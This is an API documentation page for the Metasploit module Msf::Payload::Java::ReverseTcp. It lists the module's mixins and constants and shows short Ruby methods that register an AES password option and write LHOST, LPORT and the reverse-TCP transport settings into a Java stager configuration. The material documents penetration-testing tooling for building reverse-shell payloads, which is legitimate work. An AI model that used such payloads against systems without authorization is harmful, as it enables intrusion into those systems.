Module: Msf::Payload::Java::ReverseTcp

Includes:
Msf::Payload::Java, PayloadOptions, TransportConfig, UUID::Options
Defined in:
lib/msf/core/payload/java/reverse_tcp.rb

Overview

Complex payload generation for Java that speaks TCP

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Msf::Payload::Java

#generate, #generate_axis2, #generate_default_stage, #generate_jar, #generate_stage, #generate_war, #stage_class_files

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Instance Method Details

#class_filesObject



56
57
58
59
60
61
62
63
64
65
# File 'lib/msf/core/payload/java/reverse_tcp.rb', line 56

def class_files
  # TODO: we should handle opts in class_files as well
  if datastore['AESPassword'] && datastore['AESPassword'].length > 0
    [
      ["metasploit", "AESEncryption.class"],
    ]
  else
    []
  end
end

#include_send_uuidObject



35
36
37
# File 'lib/msf/core/payload/java/reverse_tcp.rb', line 35

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register Java reverse_tcp specific options



21
22
23
24
25
26
# File 'lib/msf/core/payload/java/reverse_tcp.rb', line 21

def initialize(*args)
  super
  register_advanced_options([
    Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
  ])
end

#stager_config(opts = {}) ⇒ Object

Generate configuration that is to be included in the stager.



43
44
45
46
47
48
49
50
51
52
53
54
# File 'lib/msf/core/payload/java/reverse_tcp.rb', line 43

def stager_config(opts={})
  c = super
  ds = opts[:datastore] || datastore
  pass = ds["AESPassword"] || ''
  if pass != ""
    c << "AESPassword=#{pass}\n"
  end
  c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
  c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]

  c
end

#transport_config(opts = {}) ⇒ Object

Generate the transport-specific configuration



31
32
33
# File 'lib/msf/core/payload/java/reverse_tcp.rb', line 31

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end